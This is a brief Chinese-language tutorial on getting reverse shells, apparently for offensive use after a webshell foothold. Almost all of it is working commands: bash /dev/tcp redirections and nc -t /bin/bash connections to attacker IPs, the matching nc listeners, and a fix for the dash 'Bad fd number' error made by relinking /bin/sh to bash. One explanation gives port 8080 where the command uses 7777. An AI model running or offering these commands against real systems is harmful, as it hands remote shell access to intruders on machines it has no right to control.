摘要

反弹shell

1.bash反弹shell

1
bash -i >& /dev/tcp/192.168.20.151/8080 0>&1

其实以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹

Netcat 一句话反弹:Netcat反弹也是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境

开启外网主机监听

1
nc -lvvp 8080

如果报错/bin/sh: 1: Syntax error: Bad fd number ret=2

首先查看/bin/sh指向:

1
ls -al /bin/sh

可以看到/bin/sh其实是一个软连接文件(l),类似于windows中的快捷方式,只不过在这/bin/sh这个软连接指向了dash,而我们反弹shell使用的shell环境是dash,所以这一点是反弹出错的根本原因。

解决方法

1.修改指向

ln -s -f bash /bin/sh

2.不需要修改(没有修改权限)

1
bash -c "bash -i  >&/dev/tcp/192.168.234.135/1234 0>&1"

2.nc反弹shell

目标主机

1
2
3
nc 192.168.31.151 7777 -t  /bin/bash
命令详解:通过webshell我们可以使用nc命令直接建立一个tcp 8080 的会话连接,
然后将本地的bash通过这个会话连接反弹给目标主机(192.168.31.151)。

攻击机器

1
nc -lvvp 7777